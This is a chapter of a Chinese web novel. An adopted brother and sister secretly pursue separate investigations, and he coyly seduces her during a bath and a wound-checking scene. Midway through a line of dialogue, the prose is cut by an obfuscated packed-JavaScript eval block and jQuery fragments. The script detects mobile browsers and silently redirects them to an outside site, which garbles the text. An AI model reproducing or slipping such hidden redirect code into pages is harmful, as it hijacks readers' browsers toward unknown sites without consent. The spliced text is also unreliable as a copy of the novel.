23. 蓄意勾引的兄长
作品:《强吻兄长后》 万俟月察觉妹妹有事瞒着他。
她一早出了门,太阳快落山时才回来一趟,换了身轻便的衣裳,便又行色匆匆地走了。
连话也未与他说两句,他既不知她要去哪儿,做什么,也不知她是否回来用晚膳。
他这些日子的睡眠极浅,昨夜阿云刚轻手轻脚推开门,他便醒了。他起身,透过小窗看见她一路悄悄遛出了宅子,又飞快隐入夜色中。
阿云不知道,他一直暗中跟着她,看着她翻墙进了皇城卫案牍库,一个时辰后又翻墙逃了出来。
她有了自己的秘密,这秘密仿佛非同小可,然而她选择不告诉他。
他想问,却心虚理亏,毕竟连他自己也有事瞒着她。
万俟月心不在焉地将煮好的肉糜倒在大黄的食碗中,大黄一见到好吃的,短粗的尾巴兴奋地“啪啪啪”打在他的手臂上,他恍若未觉。
他瞒着阿云,是怕阿云受到牵连,那阿云呢?阿云是因为在乎他才瞒着他,还是因为……不在乎他?
万俟月起身回屋,路过挂晒的衣物时,一阵风正好吹来,一件缃色中衣被掀起,轻飘飘地拂在他身上,携来一阵清淡的皂角香。
他几乎一瞬间便想起了那次情不自禁,只差一厘的吻,那时,他手指正是摩挲过这件衣服袖间的云纹。
他轻轻勾了勾唇角。
“阿云,哥哥是个畜生呢,竟然爱上了从小养大的妹妹。”
“可那又如何?”
万俟月轻轻握住飘动的衣袖,眼神晦涩。
他们从小一起长大,合该一辈子在一起,谁也别想插进他们中间。
她可以什么都不告诉他,只要他知道她心里有他。
天刚擦黑时,柳随云回来了。
她如今是忠武侯府的异姓三小姐,府上为她收拾了一个院落让她住下,她却谎称身子不适需要歇息,偷偷溜了出来。
方才在荀伯山那里,她得知徐宁乃是青州人士,当年奸细一案不久后,便“不小心”烧了几册卷宗,被赶出了皇城卫,回到了青州老家。至于撕去徐宁那页军籍簿的人是谁,又是谁指派徐宁去青州,荀伯山一问三不知:
“调令上虽盖了统领的章,但那也只是寻常流程,下此命令之人不一定就是盖章之人。不过……”
“不过什么?”
许是见柳随云虽同样蒙面,私闯民宅,却赶跑了挟持他的那个凶恶丫头,荀老头便多说了几句:
“徐宁是被人举荐来的皇城卫,按说他不过出身青州农户,不会有什么了不得的后台……可他这职位升得极快,不过一年就坐上了前哨总旗的位置。”
想来这后台之人,便是此案的关键。
可是……
柳随云想起一连偶遇两次的黑衣蒙面女贼。
那个蒙面女子……到底是谁?为何与她追查的似乎是同一件事?
柳随云一边盘算着什么时候去趟青州,一边推开了家门。
惯常灰暗冷清的小院中燃着点点灯火,院中萦绕淡淡的膳食香气,大黄照旧兴奋地冲了过来,亲昵地蹭她的腿。
万俟月一袭素色常服,正端着晚膳从厨房出来。一见她,那双桃花眼顿时柔柔地弯起:“阿云回来了?时辰正好,快来用膳吧。”
柳随云立在门口,一瞬间有些恍惚。
她好像回到了多年前那个平静的小村子里,有时候上山打猎、采药摘草回到家中,便会见到眼前这再寻常不过的一幕。
那时他们养的阿黄已经上了年纪,整日就爱在墙角趴着昏睡,可一听到她回来,还是会跑到门口摇着尾巴迎接,她会半蹲着一边摸它的脑袋,一边事无巨细地告诉万俟月今天都做了些什么。
想到这里,柳随云勾了勾唇角,蹲下身摸了摸大黄的小脑袋:“嗯,回来了。可巧了,原来贵妃娘娘找的义父义母是忠武侯府的二房夫妇。”
她没有提自己下午出门去做了什么,不是想故意隐瞒或是不信任万俟月,只是她觉得,杀母之仇是她的私事,万俟月过得也并不算好,他有自己的烦心事,她不想再让他为自己劳神费力。
厨房外的万俟月听见“忠武侯府”几个字,嘴角的笑意淡了下去。
如果他没记错,忠武侯府上还住着个碍眼的魏小将军,这个魏小将军曾说过想与阿云结拜为兄妹。
“是么?”他应道,语气发酸,言不由衷,“真好,阿云如今又多了一个家,多了好姐姐好哥哥……可是,阿云是不是会把我一个人丢在这里?”
柳随云想到忠武侯府上那座属于自己的小院,一时间有些心虚,连忙关上门上前帮着端菜:“……自然不会。忠武侯府……我住不惯的,还是爱住我这个宅子。”
万俟月却轻轻垂了头,苦涩一笑:“原来阿云只是舍不得这个院子。”
“我不是……我……”柳随云语无伦次,“我还得看好你和……和大黄,你忘了吗?我昨晚可是说过,你要是再不告而别我就把你关起来。”
万俟月佯装出的苦涩顿时烟消云散。
被妹妹关起来这件事,对他来说反倒更像是奖赏呢。
他想同她一起关着,长长久久地关在一处。
两人坐下。
“今日累了吧?多吃点。”
柳随云因心中有事瞒着他,听见这个“累”字便格外心虚。见他没有多问自己身上的衣裳,提前准备好的说辞也无处可使,她一顿饭吃得食不知味,眼神飘忽。
夜晚,万俟月说自己一身油烟味,想要沐浴。
往常家中的重活都是柳随云来干,烧水抬水的事自然也落到了她身上。
宅院不大,沐浴只好在卧房中。柳随云倒入最后一桶热水,房间内水雾朦胧,淡淡的热气熏红了她的双颊。
“好了,你洗吧,我先出去了。”
待一切准备妥当,柳随云一边烦心着如何告诉他过几日她要出趟远门,今后又如何瞒着忠武侯的人偷偷回来住,一边端着盆子往外走。
然而她刚踏出一步,手腕却不期然被拉住了。
柳随云一回头,便撞进了一双春水氤氲的含情眼眸中。
那双眼中超出兄妹之情的直白情绪,犹如野火焚原,忽而烧得她浑身滚烫了起来。
“怎……怎么了?”她有些磕巴。
“阿云,我身上的伤口有些疼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483868|185105||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,你能……帮我看看伤口恢复得如何了么?”
屋内的空气变得越发稀薄,暧昧的湿气向四处蔓延,缠绕在柳随云周身,好似万俟月温热的呼吸无孔不入,紧紧与她相贴。
“哪……哪里的伤口疼?”
柳随云端着盆的双臂变得僵硬,眼下的情景让她有些危险的预感,她的手指下意识抠着木桶上的纹路。
“好像……浑身都疼。”
万俟月眼尾潮红,缓慢地伸出修长纤细的双手,轻轻搭在她用力到泛白的指骨上。
柳随云顿时如同触电一般,手顿时一松,木桶“鼓鼓咚咚”掉在了地上,一路打着圈滚到门边。
万俟月仿佛山野间惯会蛊惑人心的妖童,引诱着她,牵着她的手,伸向他的衣领。
一触及他身上的衣衫,那双手就仿佛有了自己的意识,微微颤抖着,一层一层替他褪去了上半身的衣物,露出温润如玉的皎白肌理。
“伤痕分明……淡了许多,”柳随云强作镇定,“玉肌膏难道……不管用么?为何还会疼?”
万俟月似乎同样疑惑苦恼:“对呀,为何还会疼?”他将手放在她触摸着自己伤处的手背上,看向她的眼神是浑不自知的勾缠,“只好麻烦阿云等会儿再为哥哥……上一次药了。”
掌心下泛着冷意的饱满肌肤逐渐升温,柳随云脑子一片浆糊,稀里糊涂地应下。
片刻后,她靠在屋外的墙边,大口呼吸,平复鼓噪的心跳。
附在皮肤上的水汽一遇上屋外的空气,便飞速寒凉下来,可她整个人从那方触碰过他胸膛肌肤的掌心开始,一路灼烧,烧得她心慌意乱,烧得心间那道勉强维持着兄妹之情的屏障摇摇欲坠。
“嗷呜——”
大黄凑过来蹭她的腿,她缓缓蹲下身,神思不属地抚摸它的背毛,口中含混不清地喃喃:
“大黄你热吗?我好热。”
春夜里的寒风吹过,大黄打了个喷嚏。
“我的心怎么跳得这么快?”
她牵着狗爪子摸自己的脉搏。
“都是他的错,他在勾引我,以为我不知道么?”
大黄追逐着她晃动的手,想去舔她的手心。
“不许舔!”柳随云飞快收回那只触摸过万俟月胸口的右手,意识到自己做了什么后,有些害臊地站起了身。
她心不在焉地收完了院中干透的衣物,给大黄添置好宵夜,快要无所事事时,耳尖地注意到屋内撩拨人心的水声停了下来。
水声停歇了许久,万俟月却没有叫她。
她的双腿却仿佛也生出了自我意志,待她回过神时,已经站在了他屋门口。
“阿云,进来吧。”
柳随云看着眼前这道门,垂在身侧的指尖不住轻颤。
她抬手,放在了门上,轻轻一推。
沐浴后的屋中水雾肆意弥漫,裹着暖色的烛光,勾勒出床边那人暧昧的身影。
万俟月一身霜白的寝衣松松垮垮坠在身上。他正有一搭没一搭地擦拭着鸦羽般的墨发,听见“吱呀”的推门声,缓缓抬起头,那双晕着潮红的桃花眼,在灯火朦胧下,清浅而惑人地看向她。